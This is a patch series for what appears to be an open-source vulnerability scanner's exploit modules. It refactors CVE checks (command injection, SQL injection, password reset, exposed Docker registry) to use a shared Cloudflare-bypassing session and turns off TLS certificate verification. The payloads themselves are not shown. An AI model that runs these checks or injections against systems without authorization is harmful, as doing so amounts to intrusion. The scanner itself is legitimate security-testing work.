check(self, target: definitions.Target) -> list[definitions.Vulnerability]: for payload in PAYLOADS: try: - response = requests.post( + response = self.session.post( f"{target.origin}/adminauthenticate.php", data=payload, timeout=DEFAULT_TIMEOUT, @@ -109,6 +108,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: ): vulnerability = _create_vulnerability(target) vulnerabilities.append(vulnerability) - except requests.RequestException: + except requests_exceptions.RequestException: return [] return vulnerabilities diff --git a/agent/exploits/cve_2024_7120.py b/agent/exploits/cve_2024_7120.py index c60cb3d8..2d3dac66 100644 --- a/agent/exploits/cve_2024_7120.py +++ b/agent/exploits/cve_2024_7120.py @@ -1,8 +1,9 @@ """Agent Asteroid implementation for CVE-2024-7120""" import logging -import requests +import cloudscraper +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -59,32 +60,32 @@ def _create_vulnerability(target: definitions.Target) -> definitions.Vulnerabili ) -def _is_endpoint_reachable(url: str) -> bool: +def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: """Checks if the endpoint is reachable and contains specific content.""" try: - response = requests.get(url, timeout=10) + response = session.get(url, timeout=10) response.raise_for_status() if ( REACHABLE_CHECK_TITLE in response.text and REACHABLE_CHECK_META in response.text ): return True - except requests.RequestException as error: + except requests_exceptions.RequestException as error: logger.error("Request failed: %s", error) return False -def _detect_command_injection(url: str) -> bool: +def _detect_command_injection(session: cloudscraper.CloudScraper, url: str) -> bool: """Checks if the command injection is successful.""" try: injection_url = f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={INJECTION_PAYLOAD}" - requests.get(injection_url, timeout=10) + session.get(injection_url, timeout=10) - response = requests.get(f"{url}/tmp/info.html", timeout=10) + response = session.get(f"{url}/tmp/info.html", timeout=10) response.raise_for_status() if "This is a Command Injection" in response.text: return True - except requests.RequestException as error: + except requests_exceptions.RequestException as error: logger.error("Request failed: %s", error) return False @@ -96,13 +97,13 @@ class CVE20247120Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: """Check if the target is valid for this exploit.""" url = f"{target.origin}/vpn/list_base_config.php" - return _is_endpoint_reachable(url) + return _is_endpoint_reachable(self.session, url) def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """Checks for vulnerabilities in the target.""" vulnerabilities = [] - if _detect_command_injection(target.origin) is True: + if _detect_command_injection(self.session, target.origin) is True: vulnerabilities.append(_create_vulnerability(target)) return vulnerabilities diff --git a/agent/exploits/cve_2024_8522.py b/agent/exploits/cve_2024_8522.py index 42578b4b..de5900c2 100644 --- a/agent/exploits/cve_2024_8522.py +++ b/agent/exploits/cve_2024_8522.py @@ -2,7 +2,6 @@ import re import logging -import requests from urllib import parse as urlparse from requests import exceptions as requests_exceptions @@ -102,7 +101,7 @@ def accept(self, target: definitions.Target) -> bool: True if the target is running a vulnerable version, else False. """ try: - version_resp = requests.get( + version_resp = self.session.get( urlparse.urljoin( target.origin, "/wp-content/plugins/learnpress/readme.txt" ), @@ -131,7 +130,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target.origin, f"/wp-json/learnpress/v1/courses?{PAYLOAD}" ) - sqli_resp = requests.get(sqli_url, timeout=30) + sqli_resp = self.session.get(sqli_url, timeout=30) if sqli_resp.elapsed.total_seconds() > 10: return [_create_vulnerability(target)] diff --git a/agent/exploits/cve_2024_8963.py b/agent/exploits/cve_2024_8963.py index ea349f4f..2b6a06d6 100644 --- a/agent/exploits/cve_2024_8963.py +++ b/agent/exploits/cve_2024_8963.py @@ -3,9 +3,10 @@ import re import logging import datetime +from urllib import parse as urlparse import requests -from urllib import parse as urlparse +from requests import exceptions as requests_exceptions from agent.exploits import webexploit from agent import exploits_registry @@ -21,7 +22,6 @@ incidentally addressed in its patch for CVE-2024-8190, which was released on September 10, 2024 (CSA 4.6 Patch 519).""" PATCH_DATE = datetime.datetime(2024, 9, 10) -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 HEADER_LAST_MODIFIED = "Last-Modified" @@ -49,10 +49,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) try: @@ -60,8 +56,8 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: method=self.check_request.method, url=target_endpoint, ).prepare() - resp = session.send(req, timeout=DEFAULT_TIMEOUT) - except requests.RequestException as e: + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException as e: logging.error("HTTP Request failed: %s", e) return [] diff --git a/agent/exploits/cve_2024_9487.py b/agent/exploits/cve_2024_9487.py index 569fb72e..e280f54c 100644 --- a/agent/exploits/cve_2024_9487.py +++ b/agent/exploits/cve_2024_9487.py @@ -51,10 +51,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) @@ -65,7 +61,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: url=target_endpoint, data=self.check_request.data, ).prepare() - resp = session.send(req, timeout=DEFAULT_TIMEOUT.seconds) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT.seconds) except requests_exceptions.RequestException: return vulnerabilities diff --git a/agent/exploits/cve_2024_9634.py b/agent/exploits/cve_2024_9634.py index cb1f9aa7..02bba847 100644 --- a/agent/exploits/cve_2024_9634.py +++ b/agent/exploits/cve_2024_9634.py @@ -1,10 +1,12 @@ """Agent Asteroid implementation for CVE-2024-9634""" +from urllib import parse as urlparse import re import requests +from requests import exceptions as requests_exceptions from packaging import version -from urllib import parse as urlparse +import cloudscraper from agent import definitions from agent import exploits_registry @@ -28,13 +30,11 @@ def _is_vulnerable_version(version_str: str) -> bool: def _send_request( - target: definitions.Target, request: definitions.Request + session: cloudscraper.CloudScraper, + target: definitions.Target, + request: definitions.Request, ) -> requests.Response | None: """Helper to send HTTP requests using the provided session setup.""" - session = requests.Session() - session.max_redirects = webexploit.MAX_REDIRECTS - session.verify = False - try: target_endpoint = urlparse.urljoin(target.origin, request.path) prepared_request = requests.Request( @@ -44,7 +44,7 @@ def _send_request( request.headers.update(prepared_request.headers) prepared_request.headers = request.headers # type: ignore return session.send(prepared_request, timeout=webexploit.DEFAULT_TIMEOUT) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return None diff --git a/agent/exploits/exposed_docker_resgistry_api.py b/agent/exploits/exposed_docker_resgistry_api.py index b5027609..7a59b0e9 100644 --- a/agent/exploits/exposed_docker_resgistry_api.py +++ b/agent/exploits/exposed_docker_resgistry_api.py @@ -1,9 +1,9 @@ """Agent Asteroid implementation for Exposed Docker Registry API Vulnerability""" import logging -import requests -from typing import Dict, List +from requests import exceptions as requests_exceptions +import cloudscraper from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -22,17 +22,17 @@ def _create_vulnerability( - target: definitions.Target, repositories: Dict[str, List[str]] + target: definitions.Target, repositories: dict[str, list[str]] ) -> definitions.Vulnerability: """ Creates and returns a vulnerability object for Exposed Docker Registry API. Args: - target (definitions.Target): The target to create the vulnerability for. - repositories (dict): A dictionary of repositories and their tags. + target : The target to create the vulnerability for. + repositories : A dictionary of repositories and their tags. Returns: - definitions.Vulnerability: The created vulnerability object. + The created vulnerability object. """ entry = kb.Entry( title=VULNERABILITY_TITLE, @@ -66,23 +66,23 @@ def _create_vulnerability( def _get_repositories_info( - target: definitions.Target, repo_list: List[str] -) -> Dict[str, List[str]]: + session: cloudscraper.CloudScraper, target: definitions.Target, repo_list: list[str] +) -> dict[str, list[str]]: """ Retrieves repository information from the Docker Registry API. Args: - target (definitions.Target): The target to retrieve repository info from. - repo_list (List[str]): List of repositories to get tags for. + target : The target to retrieve repository info from. + repo_list : List of repositories to get tags for. Returns: - Dict[str, List[str]]: A dictionary of repositories and their tags. + A dictionary of repositories and their tags. """ repositories = {} for repo in repo_list: try: - tags_response = requests.get( + tags_response = session.get( f"{target.origin}/v2/{repo}/tags/list", timeout=30 ) if tags_response.status_code == 200 and "tags" in tags_response.json(): @@ -92,7 +92,7 @@ def _get_repositories_info( logger.warning( f"Failed to get tags for repository {repo}: {tags_response.status_code}" ) - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error(f"Failed to get tags for repository {repo}: {e}") continue @@ -110,11 +110,11 @@ def accept(self, target: definitions.Target) -> bool: Checks if the Docker Registry API is exposed. """ try: - response = requests.get(f"{target.origin}/v2/_catalog", timeout=30) + response = self.session.get(f"{target.origin}/v2/_catalog", timeout=30) if response.status_code == 200 and "repositories" in response.json(): return True return False - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error( f"Failed to access Docker Registry API at {target.origin}: {e}" ) @@ -126,17 +126,17 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """ vulnerabilities = [] try: - response = requests.get(f"{target.origin}/v2/_catalog", timeout=30) + response = self.session.get(f"{target.origin}/v2/_catalog", timeout=30) if response.status_code == 200 and "repositories" in response.json(): repo_list = response.json()["repositories"] logger.info(f"Found repositories: {repo_list}") - repositories = _get_repositories_info(target, repo_list) + repositories = _get_repositories_info(self.session, target, repo_list) vulnerability = _create_vulnerability(target, repositories) vulnerabilities.append(vulnerability) logger.info(f"Vulnerability found: {vulnerability.entry.title}") - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error( f"Failed to access Docker Registry API at {target.origin}: {e}" ) diff --git a/agent/exploits/jetpack_version_detection.py b/agent/exploits/jetpack_version_detection.py index 7554f824..ecd8cb16 100644 --- a/agent/exploits/jetpack_version_detection.py +++ b/agent/exploits/jetpack_version_detection.py @@ -14,7 +14,6 @@ logging.basicConfig(level=logging.ERROR) logger = logging.getLogger(__name__) -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) VULNERABILITY_TITLE = ( "UNAUTHORIZED FORM DATA EXPOSURE VULNERABILITY IN JETPACK'S CONTACT FORM FEATURE" @@ -158,10 +157,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) @@ -172,7 +167,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: url=target_endpoint, data=self.check_request.data, ).prepare() - resp = session.send(req, timeout=DEFAULT_TIMEOUT.seconds) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT.seconds) except requests_exceptions.RequestException as e: logger.error(f"Network error occurred: {e}") return vulnerabilities diff --git a/agent/exploits/webexploit.py b/agent/exploits/webexploit.py index 04757835..5acd88ed 100644 --- a/agent/exploits/webexploit.py +++ b/agent/exploits/webexploit.py @@ -3,9 +3,9 @@ from urllib import parse as urlparse import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -from requests import exceptions as requests_exceptions from agent import definitions from packaging import version @@ -34,10 +34,6 @@ def accept(self, target: definitions.Target) -> bool: Returns: True if the target is valid; otherwise False. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - target_endpoint = urlparse.urljoin(target.origin, self.accept_request.path) try: @@ -52,7 +48,7 @@ def accept(self, target: definitions.Target) -> bool: if self.accept_request.headers is not None: self.accept_request.headers.update(req.headers) req.headers = self.accept_request.headers # type: ignore - resp = session.send(req, timeout=DEFAULT_TIMEOUT, verify=False) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT, verify=False) except requests_exceptions.RequestException: return False @@ -70,10 +66,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) @@ -90,7 +82,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: if self.check_request.headers is not None: self.check_request.headers.update(req.headers) req.headers = self.check_request.headers # type: ignore - resp = session.send(req, timeout=DEFAULT_TIMEOUT, verify=False) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT, verify=False) except requests_exceptions.RequestException: return vulnerabilities diff --git a/requirement.txt b/requirement.txt index 70341203..f3f04598 100644 --- a/requirement.txt +++ b/requirement.txt @@ -1,6 +1,5 @@ ostorlab[agent] rich -requests scipy requests adb-shell @@ -10,4 +9,5 @@ semantic_version impacket pysnmp==4.4.6 pyasn1==0.6.0 -jaydebeapi \ No newline at end of file +jaydebeapi +cloudscraper \ No newline at end of file From 16ba895ecc1cd0953ef7ceb19c80dfa826995fcb Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Wed, 23 Oct 2024 10:57:45 +0100 Subject: [PATCH 2/8] Fix typing and disable ssl cert verification --- .mypy.ini | 3 ++ agent/definitions.py | 29 ++++++++++++++++++- agent/exploits/cve_2014_0780.py | 4 +-- agent/exploits/cve_2014_7169.py | 4 ++- agent/exploits/cve_2018_14558.py | 4 ++- agent/exploits/cve_2018_7841.py | 4 ++- agent/exploits/cve_2019_7193.py | 4 ++- agent/exploits/cve_2020_14644.py | 6 ++-- agent/exploits/cve_2021_32648.py | 1 - agent/exploits/cve_2021_33044.py | 10 +++---- agent/exploits/cve_2023_1389.py | 4 ++- agent/exploits/cve_2023_22518.py | 2 +- agent/exploits/cve_2024_20419.py | 9 +++--- agent/exploits/cve_2024_23113.py | 8 ++--- agent/exploits/cve_2024_4040.py | 8 +++-- agent/exploits/cve_2024_40725.py | 8 ++--- agent/exploits/cve_2024_7120.py | 4 +-- agent/exploits/cve_2024_9634.py | 7 +++-- .../exploits/exposed_docker_resgistry_api.py | 8 +++-- agent/exploits/webexploit.py | 4 +-- tests/exploits/cve_2014_0780_test.py | 7 ++--- tests/exploits/cve_2023_27997_test.py | 2 +- tests/exploits/cve_2024_23113_test.py | 2 +- tests/exploits/cve_2024_40725_test.py | 24 ++++++++------- tests/exploits/cve_2024_8522_test.py | 12 ++++---- 25 files changed, 110 insertions(+), 68 deletions(-) diff --git a/.mypy.ini b/.mypy.ini index 0667cb01..bc08cbb3 100644 --- a/.mypy.ini +++ b/.mypy.ini @@ -31,4 +31,7 @@ ignore_missing_imports = True ignore_missing_imports = True [mypy-adb_shell.*] +ignore_missing_imports = True + +[mypy-cloudscraper.*] ignore_missing_imports = True \ No newline at end of file diff --git a/agent/definitions.py b/agent/definitions.py index edd8aa8b..26562cf8 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -3,7 +3,10 @@ import abc import dataclasses from packaging import version +from typing import Any +import ssl +import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin import cloudscraper @@ -54,12 +57,36 @@ class VulnerabilityMetadata: risk_rating: str = "CRITICAL" +class SSLAdapter(requests.adapters.HTTPAdapter): + def init_poolmanager(self, *args: Any, **kwargs: dict[str, Any]) -> Any: + """ + Initializes the pool manager for handling HTTPS connections. + + This method overrides the default implementation to customize the SSL context + for HTTPS connections, specifically to disable SSL verification and hostname checking. + + Args: + *args: Variable length argument list. Passed to the parent method. + **kwargs: Keyword arguments. Passed to the parent method, after the override + of the ssl_context parameter. + + Returns: + PoolManager: An instance of PoolManager configured with the provided SSL context. + """ + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + kwargs["ssl_context"] = context # type:ignore[assignment] + return super().init_poolmanager(*args, **kwargs) # type:ignore[no-untyped-call] + + class Exploit(abc.ABC): """Base Exploit""" - def __init__(self): + def __init__(self) -> None: self.session = cloudscraper.create_scraper() self.session.max_redirects = MAX_REDIRECTS + self.session.mount("https://", SSLAdapter()) @abc.abstractmethod def accept(self, target: Target) -> bool: diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index add9e311..1719ff9c 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -1,9 +1,9 @@ """Agent Asteroid implementation for CVE-2014_0780.""" +import requests from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -import cloudscraper from agent import definitions from agent import exploits_registry @@ -41,7 +41,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: url = target.origin + f"/{levels}{file_name}" try: - r = cloudscraper.Request(method="GET", url=url) + r = requests.Request(method="GET", url=url) prep = r.prepare() prep.url = url response = self.session.send(prep, timeout=DEFAULT_TIMEOUT) diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py index cbd33a8d..4a091376 100644 --- a/agent/exploits/cve_2014_7169.py +++ b/agent/exploits/cve_2014_7169.py @@ -38,7 +38,9 @@ def accept(self, target: definitions.Target) -> bool: resp = self.session.get(target.url, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False - return resp.status_code == 200 + if resp.status_code == 200: + return True + return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: for delay in DELAYS: diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py index 08b4a7f0..6e454da0 100644 --- a/agent/exploits/cve_2018_14558.py +++ b/agent/exploits/cve_2018_14558.py @@ -32,7 +32,9 @@ def accept(self, target: definitions.Target) -> bool: resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False - return resp.status_code == 200 + if resp.status_code == 200: + return True + return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: for delay in DELAYS: diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py index 7487fe5a..d5c9943b 100644 --- a/agent/exploits/cve_2018_7841.py +++ b/agent/exploits/cve_2018_7841.py @@ -31,7 +31,9 @@ def accept(self, target: definitions.Target) -> bool: resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False - return resp.status_code == 200 + if resp.status_code == 200: + return True + return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: for delay in DELAYS: diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 54f58be4..dd3b559d 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -34,7 +34,9 @@ def accept(self, target: definitions.Target) -> bool: ) except requests_exceptions.RequestException: return False - return resp.status_code == 200 + if resp.status_code == 200: + return True + return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: diff --git a/agent/exploits/cve_2020_14644.py b/agent/exploits/cve_2020_14644.py index 592a7a30..c22405e0 100644 --- a/agent/exploits/cve_2020_14644.py +++ b/agent/exploits/cve_2020_14644.py @@ -39,9 +39,7 @@ class CVE202014644Exploit(webexploit.WebExploit): def accept(self, target: definitions.Target) -> bool: """Override the accept method to check for WebLogic in the Server header.""" try: - response = self.session.get( - target.url, timeout=DEFAULT_TIMEOUT, verify=False - ) + response = self.session.get(target.url, timeout=DEFAULT_TIMEOUT) return "WebLogic" in response.headers.get("Server", "") except requests_exceptions.RequestException as e: logging.warning("Request exception in accept method: %s", e) @@ -58,7 +56,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """ vulnerabilities = [] try: - response = self.session.get(target.url, timeout=10, verify=False) + response = self.session.get(target.url, timeout=10) server_header = response.headers.get("Server", "") match = re.search(r"WebLogic Server (\d+\.\d+\.\d+\.\d+)", server_header) diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index b4bc5d38..3c6fa658 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -127,7 +127,6 @@ def _set_password(self, url: str) -> bool: try: reset_request = self.session.post( reset_url, - verify=False, headers={"Content-Type": "application/json"}, json=post_data, timeout=DEFAULT_TIMEOUT, diff --git a/agent/exploits/cve_2021_33044.py b/agent/exploits/cve_2021_33044.py index 109a7056..c8e186e9 100644 --- a/agent/exploits/cve_2021_33044.py +++ b/agent/exploits/cve_2021_33044.py @@ -22,7 +22,7 @@ def _format_payload( target: definitions.Target, -) -> tuple[str, dict[str, str], dict[str, str]]: +) -> tuple[str, dict[str, str], dict[str, object]]: post_url = f"{target.url}RPC2_Login" headers = { "Accept": "application/json, text/javascript, */*; q=0.01", @@ -81,13 +81,11 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: vulnerabilities: list[definitions.Vulnerability] = [] post_url, headers, post_json = _format_payload(target) - response_content = self.session.post( - post_url, headers=headers, json=post_json, verify=False - ) + response = self.session.post(post_url, headers=headers, json=post_json) - if response_content is not None: + if response is not None and response.content is not None: try: - response_json = response_content.decode("utf-8") + response_json = response.content.decode("utf-8") response_data = json.loads(response_json) if response_data.get("result") is True: diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py index dd3f6d7a..08e82fd1 100644 --- a/agent/exploits/cve_2023_1389.py +++ b/agent/exploits/cve_2023_1389.py @@ -27,9 +27,11 @@ def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.origin}/cgi-bin/luci/" try: response = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) - return response.status_code == 200 + if response.status_code == 200: + return True except requests_exceptions.RequestException: return False + return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py index 1470a39c..6dfc29cc 100644 --- a/agent/exploits/cve_2023_22518.py +++ b/agent/exploits/cve_2023_22518.py @@ -73,7 +73,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: resp = self.session.post( urlparse.urljoin(target.origin, CHECK_ENDPOINT), - files=files, # type: ignore + files=files, headers=HEADERS, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2024_20419.py b/agent/exploits/cve_2024_20419.py index 18fc1b7b..8eddb6e3 100644 --- a/agent/exploits/cve_2024_20419.py +++ b/agent/exploits/cve_2024_20419.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-20419""" from urllib.parse import unquote +from typing import Any import logging import urllib3 @@ -70,9 +71,9 @@ def _create_vulnerability(target: definitions.Target) -> definitions.Vulnerabili ) -def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: +def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: # type: ignore[no-any-unimported] try: - response = session.get(url, timeout=10, verify=False) + response = session.get(url, timeout=10) response.raise_for_status() logger.debug("Reachable Check Response: %s", response.text) return REACHABLE_CHECK_TITLE in response.text @@ -81,9 +82,9 @@ def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool return False -def _get_auth_token( +def _get_auth_token( # type: ignore[no-any-unimported] session: cloudscraper.CloudScraper, url: str, username: str -) -> str | None: +) -> Any | None: try: get_url = f"{url}/backend/settings/oauth_adfs?hostname=polar" response = session.get(get_url, timeout=10) diff --git a/agent/exploits/cve_2024_23113.py b/agent/exploits/cve_2024_23113.py index 9630fe6e..e3fceaa1 100644 --- a/agent/exploits/cve_2024_23113.py +++ b/agent/exploits/cve_2024_23113.py @@ -139,13 +139,11 @@ def _get_fortinet_version_snmp(host: str) -> tuple[str, tuple[int, int, int]] | return None -def _get_fortinet_version_http( +def _get_fortinet_version_http( # type: ignore[no-any-unimported] session: cloudscraper.CloudScraper, host: str ) -> tuple[str, tuple[int, int, int]] | None: try: - response = session.get( - f"https://{host}", verify=False, timeout=DEFAULT_TIMEOUT.seconds - ) + response = session.get(f"https://{host}", timeout=DEFAULT_TIMEOUT.seconds) content = response.text # FortiSwitchManager detection @@ -186,7 +184,7 @@ def _get_fortinet_version_tcp(host: str) -> tuple[str, tuple[int, int, int]] | N return None -def _get_fortinet_version( +def _get_fortinet_version( # type: ignore[no-any-unimported] session: cloudscraper.CloudScraper, host: str ) -> tuple[str, tuple[int, int, int]] | None: # Try HTTP First diff --git a/agent/exploits/cve_2024_4040.py b/agent/exploits/cve_2024_4040.py index f9a3bc48..ffbbfb5a 100644 --- a/agent/exploits/cve_2024_4040.py +++ b/agent/exploits/cve_2024_4040.py @@ -1,11 +1,12 @@ """Agent Asteroid implementation for CVE-2024-4040""" -import requests +from typing import Any + +import cloudscraper from requests import exceptions as requests_exceptions from ostorlab.agent.mixins import agent_report_vulnerability_mixin from ostorlab.agent.kb import kb - from agent import definitions from agent import exploits_registry @@ -32,6 +33,7 @@ class CVE20244040Exploit(definitions.Exploit): def __init__(self) -> None: self.token = "" + self.session = cloudscraper.create_scraper() def accept(self, target: definitions.Target) -> bool: try: @@ -108,7 +110,7 @@ def _prepare_headers(self) -> dict[str, str]: return h - def _prepare_request(self, target: str) -> requests.Response: + def _prepare_request(self, target: str) -> Any: h = self._prepare_headers() current_auth = self.token[-4:] if len(self.token) >= 4 else "" data = { diff --git a/agent/exploits/cve_2024_40725.py b/agent/exploits/cve_2024_40725.py index 41152911..d4738abd 100644 --- a/agent/exploits/cve_2024_40725.py +++ b/agent/exploits/cve_2024_40725.py @@ -35,7 +35,7 @@ logger = logging.getLogger(__name__) -def _get_server_version(session: cloudscraper.CloudScraper, url: str) -> str | None: +def _get_server_version(session: cloudscraper.CloudScraper, url: str) -> str | None: # type: ignore[no-any-unimported] """Gets the server version from the given URL. Args: @@ -45,7 +45,7 @@ def _get_server_version(session: cloudscraper.CloudScraper, url: str) -> str | N The server version string if found, else None. """ try: - response = session.head(url, verify=False) + response = session.head(url) server_header = response.headers.get("Server", "") if "Apache" in server_header: version_match = re.search(r"Apache/(\d+\.\d+\.\d+)", server_header) @@ -115,7 +115,7 @@ def _contains_code_content(content: str) -> bool: return False -def _check_files( +def _check_files( # type: ignore[no-any-unimported] session: cloudscraper.CloudScraper, url: str, filenames: list[str] ) -> bool: """Checks the given files for source code disclosure. @@ -130,7 +130,7 @@ def _check_files( for filename in filenames: file_url = url + filename try: - response = session.get(file_url, verify=False) + response = session.get(file_url) if ( any(file_url.endswith(ext) for ext in EXTENSIONS) is True and _contains_code_content(response.text) is True diff --git a/agent/exploits/cve_2024_7120.py b/agent/exploits/cve_2024_7120.py index 2d3dac66..a30f6444 100644 --- a/agent/exploits/cve_2024_7120.py +++ b/agent/exploits/cve_2024_7120.py @@ -60,7 +60,7 @@ def _create_vulnerability(target: definitions.Target) -> definitions.Vulnerabili ) -def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: +def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: # type: ignore[no-any-unimported] """Checks if the endpoint is reachable and contains specific content.""" try: response = session.get(url, timeout=10) @@ -75,7 +75,7 @@ def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool return False -def _detect_command_injection(session: cloudscraper.CloudScraper, url: str) -> bool: +def _detect_command_injection(session: cloudscraper.CloudScraper, url: str) -> bool: # type: ignore[no-any-unimported] """Checks if the command injection is successful.""" try: injection_url = f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={INJECTION_PAYLOAD}" diff --git a/agent/exploits/cve_2024_9634.py b/agent/exploits/cve_2024_9634.py index 02bba847..d4ee3b4e 100644 --- a/agent/exploits/cve_2024_9634.py +++ b/agent/exploits/cve_2024_9634.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-9634""" from urllib import parse as urlparse +from typing import Any import re import requests @@ -29,11 +30,11 @@ def _is_vulnerable_version(version_str: str) -> bool: return version.parse(version_str.strip()) <= MAX_SAFE_VERSION -def _send_request( +def _send_request( # type: ignore[no-any-unimported] session: cloudscraper.CloudScraper, target: definitions.Target, request: definitions.Request, -) -> requests.Response | None: +) -> Any | None: """Helper to send HTTP requests using the provided session setup.""" try: target_endpoint = urlparse.urljoin(target.origin, request.path) @@ -68,7 +69,7 @@ class CVE20249634Exploit(webexploit.WebExploit): def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """Check if the target is vulnerable to CVE-2024-9634.""" - response = _send_request(target, self.check_request) + response = _send_request(self.session, target, self.check_request) if response is None or response.status_code != 200: return [] diff --git a/agent/exploits/exposed_docker_resgistry_api.py b/agent/exploits/exposed_docker_resgistry_api.py index 7a59b0e9..f81cd5be 100644 --- a/agent/exploits/exposed_docker_resgistry_api.py +++ b/agent/exploits/exposed_docker_resgistry_api.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for Exposed Docker Registry API Vulnerability""" import logging +import json from requests import exceptions as requests_exceptions import cloudscraper @@ -65,7 +66,7 @@ def _create_vulnerability( return vulnerability -def _get_repositories_info( +def _get_repositories_info( # type: ignore[no-any-unimported] session: cloudscraper.CloudScraper, target: definitions.Target, repo_list: list[str] ) -> dict[str, list[str]]: """ @@ -114,7 +115,10 @@ def accept(self, target: definitions.Target) -> bool: if response.status_code == 200 and "repositories" in response.json(): return True return False - except requests_exceptions.RequestException as e: + except ( + requests_exceptions.RequestException, + json.decoder.JSONDecodeError, + ) as e: logger.error( f"Failed to access Docker Registry API at {target.origin}: {e}" ) diff --git a/agent/exploits/webexploit.py b/agent/exploits/webexploit.py index 5acd88ed..db475aea 100644 --- a/agent/exploits/webexploit.py +++ b/agent/exploits/webexploit.py @@ -48,7 +48,7 @@ def accept(self, target: definitions.Target) -> bool: if self.accept_request.headers is not None: self.accept_request.headers.update(req.headers) req.headers = self.accept_request.headers # type: ignore - resp = self.session.send(req, 